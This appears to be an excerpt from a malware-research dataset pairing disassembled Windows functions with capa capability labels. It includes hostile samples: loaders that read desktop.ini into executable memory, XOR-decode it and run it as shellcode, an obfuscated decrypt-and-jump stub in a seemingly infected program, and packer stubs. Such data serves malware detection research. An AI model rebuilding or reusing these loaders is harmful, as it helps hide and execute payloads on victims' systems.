joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
mov ecx, 0x17e54967
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5353338f
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40645c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406480
xor eax, eax
test eax, eax
je 0x406492
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406492
xor ecx, ecx
jmp 0x406495
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406581
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232bc], 0
push esi
jne 0x4065b8
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406592
mov dword [ecx*4 + 0x4232b8], eax
inc ecx
cmp ecx, 0x100
jl 0x40658d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4065e9
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232b8]
xor eax, esi
inc ecx
dec edx
jne 0x4065cb
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4bc12d6a
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..rdata
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4bb81057
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x480120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6e000]
push edi
or ebp, 0xffffffff
jmp 0x4802af
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x480149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x480138
mov eax, 1
add ebx, ebx
jne 0x48015b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x480150
jne 0x48016c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x480150
xor ecx, ecx
sub eax, 3
jb 0x480180
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4801f2
mov ebp, eax
add ebx, ebx
jne 0x48018b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x480198
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4801bc
inc ecx
add ebx, ebx
jne 0x4801a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48019d
jne 0x4801b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48019d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4801dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4801cd
jmp 0x48013e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4801dc
add edi, ecx
jmp 0x48013e
pop esi
mov edi, esi
mov ecx, 0x42b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4801fa
cmp byte [edi], 0xb
jne 0x4801fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4801ff
lea edi, [esi + 0x7d000]
mov eax, dword [edi]
or eax, eax
je 0x480277
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x80000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8008c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48022c
mov ecx, edi
jns 0x48025b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x80090]
or eax, eax
je 0x480271
mov dword [ebx], eax
add ebx, 4
jmp 0x480249
call dword [esi + 0x80094]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4802a8
cmp al, 0xef
ja 0x48029b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x48027d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x48028a
popal
jmp 0x412858
jne 0x4802b1
jno 0x4802b3
and ecx, ecx
mov ah, ah
mov ecx, 0x1111c
cmp ebx, ebp
cmp ch, cl
ja 0x4802c2
cmp esp, ebx
or al, 0
xor dword [esi + ecx], 0xb6fca536
jmp 0x4802cf
rol dword [esi + ecx], 0xb
and dl, dl
cmp cl, dh
or esp, esp
add dword [esi + ecx], 0xb1d7e6a7
and ch, ch
cmp al, cl
cmp dl, al
loop 0x4802c4
jmp 0x4802ea
xchg ch, ch
or dh, dh
cmp dh, bh
jmp 0x480142
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x72e5325b
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x44f37066
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40185b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415404]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push 0x413894
push esi
call fcn.0040363d
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jne 0x401897
push esi
push str.Failed_to_extract_wrapper_tail___couldnt_open_file__s_n
call fcn.00402538
pop ecx
pop ecx
push 1
call fcn.00403a43
push ebx
call fcn.0040244d
cmp eax, 0xffffffff
pop ecx
je 0x401890
push str._Launcher__Found_tail_marker_n
call fcn.00402538
pop ecx
push ebx
call fcn.00401df4
pop ecx
push ebx
mov dword [0x416ab8], eax
call fcn.00401df4
pop ecx
push ebx
mov dword [0x416ac0], eax
call fcn.00401df4
pop ecx
push ebx
mov dword [ebp - 0xc], eax
call fcn.00401df4
pop ecx
push ebx
mov dword [ebp - 0x1c], eax
call fcn.00401df4
mov dword [esp], 0x2000
push ebx
mov dword [ebp - 0x14], eax
call fcn.00401d88
push ebx
mov dword [ebp - 8], eax
call fcn.00401df4
add esp, 0xc
push ebx
mov dword [ebp - 0x10], eax
call fcn.00401df4
pop ecx
push ebx
mov dword [0x416ac4], eax
call fcn.00401df4
mov dword [esp], 0x104
push ebx
mov dword [ebp - 0x18], eax
call fcn.00401d88
mov esi, dword [0x416ab8]
mov edi, str.App_Name
mov dword [ebp - 0x20], eax
call fcn.004017f2
mov esi, dword [0x416ac0]
mov edi, str.App_Version
call fcn.004017f2
mov esi, dword [ebp - 0xc]
mov edi, str.JRE_Version
call fcn.004017f2
mov esi, dword [ebp - 0x1c]
mov edi, str.GU_Version
call fcn.004017f2
mov esi, dword [ebp - 0x14]
mov edi, str.Min_Splash_MS
call fcn.004017f2
mov esi, dword [ebp - 8]
mov edi, str.Signature_Public_Key
call fcn.004017f2
mov esi, dword [ebp - 0x10]
mov edi, str.Can_Override_Splash
call fcn.004017f2
mov esi, dword [0x416ac4]
mov edi, str.Install_Type
call fcn.004017f2
mov esi, dword [ebp - 0x18]
mov edi, str.Silent_Parameter
call fcn.004017f2
mov esi, dword [ebp - 0x20]
mov edi, str.Update_URL
call fcn.004017f2
push ebx
call fcn.0040374b
mov ecx, dword [ebp - 4]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402961
leave
ret
Function at 0x401f6c
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x415404]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.kernel32
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.SetDllDirectoryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
mov dword [ebp - 0x220], edi
jne 0x401fb2
push str._JNILaunch__WARNING:_SetDllDirectoryA_could_not_be_found
call fcn.00402538
pop ecx
lea eax, [ebp - 0x218]
push esi
push eax
mov byte [ebp - 0x218], 0
call fcn.00402bb0
push 0x4133c0
lea esi, [ebp - 0x218]
call fcn.004024b0
add esp, 0xc
push str.ucrtbase
push str.api_ms_win
mov eax, esi
call fcn.00401f07
push 0
push str.vcruntime
mov eax, esi
call fcn.00401f07
push 0
push str.msvcp
mov eax, esi
call fcn.00401f07
mov eax, esi
push eax
push str._JNILaunch__Bin_folder_is__s_n
call fcn.00402538
mov esi, 0x104
push esi
call fcn.00402a4d
add esp, 0x24
push eax
push esi
mov dword [ebp - 0x224], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test edi, edi
je 0x402049
lea eax, [ebp - 0x218]
push eax
call edi
mov edi, str.jvm.dll
push edi
mov esi, str.server
push esi
lea eax, [ebp - 0x110]
mov byte [ebp - 0x110], 0
call fcn.004024fb
lea eax, [ebp - 0x110]
push eax
call fcn.00402418
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x110]
jne 0x4020a4
push edi
push str.client
call fcn.004024fb
lea eax, [ebp - 0x110]
push eax
call fcn.00402418
add esp, 0xc
test eax, eax
je 0x4020b1
lea eax, [ebp - 0x110]
push eax
push str._Utils__Located_DLL___s__n
call fcn.00402538
pop ecx
pop ecx
lea eax, [ebp - 0x218]
push esi
push eax
lea eax, [ebp - 0x110]
call fcn.00402519
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
lea eax, [ebp - 0x110]
push eax
call esi
test eax, eax
mov dword [ebp - 0x21c], eax
jne 0x40211d
mov ebx, str.LoadLibrary
push ebx
mov edi, str.Utils
push edi
call fcn.00401e05
lea eax, [ebp - 0x218]
push str.client
push eax
lea eax, [ebp - 0x110]
call fcn.00402519
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
call esi
test eax, eax
mov dword [ebp - 0x21c], eax
je 0x402132
lea eax, [ebp - 0x110]
push eax
push str._Extractor__Successfully_loaded_DLL___s_._JVM_looks_good._n
call fcn.00402538
pop ecx
pop ecx
jmp 0x402146
push ebx
push edi
call fcn.00401e05
push str._Extractor___SEVERE__Unable_to_load_existing_JVM_dll._n
call fcn.00402538
add esp, 0xc
cmp dword [ebp - 0x220], 0
je 0x402157
push 0
call dword [ebp - 0x220]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x21c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402961
leave
ret

Function at 0x402961
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415404]
jne 0x40296b
repz ret
jmp fcn.00406552
Function at 0x405d65
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x405d92
call fcn.00402dbc
mov dword [eax], esi
call fcn.00402da9
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00407de4
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x405d6e
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405dc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402dcf
pop ecx
call fcn.00402da9
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x405de8
test al, 1
je 0x405de8
test byte [esp + 0xc], 2
je 0x405de8
call fcn.00402dbc
mov dword [eax], 5
call fcn.00402da9
mov dword [eax], 0xd
jmp 0x405db8
xor eax, eax
pop esi
ret
Function at 0x40ce65
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040780e
xor ebx, ebx
cmp dword [0x4169d4], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40cf3a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40cea5
xor eax, eax
jmp 0x40cffe
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40ce9e
push eax
call fcn.004077ab
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4169d4], eax
call esi
push eax
call fcn.004077ab
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4169d8], eax
call esi
push eax
call fcn.004077ab
mov dword [0x4169dc], eax
lea eax, [ebp - 8]
push eax
call fcn.00403870
test eax, eax
pop ecx
pop ecx
je 0x40cf08
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407ce8
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40cf3a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004077ab
cmp eax, ebx
pop ecx
mov dword [0x4169e4], eax
je 0x40cf3a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004077ab
pop ecx
mov dword [0x4169e0], eax
mov eax, dword [0x4169e0]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40cfb3
cmp dword [0x4169e4], esi
je 0x40cfb3
push eax
call fcn.00407817
pop ecx
call eax
cmp eax, ebx
je 0x40cf80
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4169e4]
call fcn.00407817
pop ecx
call eax
test eax, eax
je 0x40cf80
test byte [ebp - 0x18], 1
jne 0x40cfb3
lea eax, [ebp - 0xc]
push eax
call fcn.004038a7
test eax, eax
pop ecx
je 0x40cf9b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407ce8
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40cfaa
or dword [ebp + 0x10], 0x200000
jmp 0x40cfe4
or dword [ebp + 0x10], 0x40000
jmp 0x40cfe4
mov eax, dword [0x4169d8]
cmp eax, esi
je 0x40cfe4
push eax
call fcn.00407817
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40cfe4
mov eax, dword [0x4169dc]
cmp eax, esi
je 0x40cfe4
push dword [ebp - 4]
push eax
call fcn.00407817
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4169d4]
call fcn.00407817
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x900e460
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90cf2a5
call fcn.09006dd9
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900e4bc
xor al, al
jmp 0x900e50c
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900e8b2
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900f2c5
test al, al
je 0x900e4ff
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.09013217
mov ecx, edi
call fcn.09011cd1
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.09013217
mov al, bl
call fcn.09006f96
ret

Function at 0x9011cd1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 8
jb 0x9011cd9
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9011ce8
xor al, al
ret
shr eax, 4
and al, 1
ret

Function at 0x9013217
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x9013226
pop dword [ebp - 0x4c]
mov eax, 0x9013226
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x54ba4714
sub dword [ebp - 0x5c], 0x66801c9
mov dword [ebp - 0x58], 0x45c9d7eb
sub dword [ebp - 0x58], 0x13968ba6
mov dword [ebp - 0x54], 0x8c850963
sub dword [ebp - 0x54], 0x4038c535
mov dword [ebp - 0x50], 0x7c7547b2
sub dword [ebp - 0x50], 0x7c7547b2
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xd5a6c4d
add dword [ebp - 0x5c], 0x6717fd09
mov dword [ebp - 0x58], 0xd65e6b8f
sub dword [ebp - 0x58], 0x94f20a1a
mov dword [ebp - 0x54], 0x45fb23c7
sub dword [ebp - 0x54], 0xe28bb75b
mov dword [ebp - 0x50], 0x2ad35ac7
add dword [ebp - 0x50], 0xd52ca539
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x773f1
push 0
call eax
mov ecx, 0x453c
mov edi, eax
mov esi, 0x5e226fc1
add esi, 0xaaefec3f
add esi, dword [ebp - 0x4c]
mov ebx, 0x82d952de
sub ebx, 0x449c56df
add dword [ebp - 0x28], 0x6b4c3390
mov edx, dword [esi]
sub dword [ebp - 0x38], ebx
xor edx, ebx
sub dword [ebp - 0x44], edi
mov dword [edi], edx
xor dword [ebp - 0x30], 0xaf6e26ee
add edi, 0x4a0b888
add edi, 0xfb5f477c
add esi, 0x7115272c
add esi, 0x8eead8d8
loop 0x9013333
add eax, 0x750a4a31
add eax, 0x8af6bd92
mov ebx, eax
add eax, 5
mov ecx, 0x2408b44c
add ecx, 0xe4f74bb4
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x901e790
Capabilities:
Hash data with md5

Disassembly:
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov byte [ecx + 0x58], 0
ret
Function at 0x90582d8
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90d2348
call fcn.0900620a
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor edx, edx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb edx, dword [esi + 0xc]
js 0x9058343
jg 0x905830d
test eax, eax
jb 0x9058343
mov ecx, dword [esi + 4]
imul edi, ecx, 3
test edx, edx
jg 0x9058343
jl 0x905831d
cmp eax, edi
ja 0x9058343
cmp eax, ecx
jbe 0x9058337
and dword [ebp - 4], 0
sub eax, ecx
mov ecx, dword [esi]
push eax
call fcn.09013217
jmp 0x9058343
jae 0x9058343
sub ecx, eax
push ecx
mov ecx, dword [esi]
call fcn.09013217
call fcn.09006fcf
ret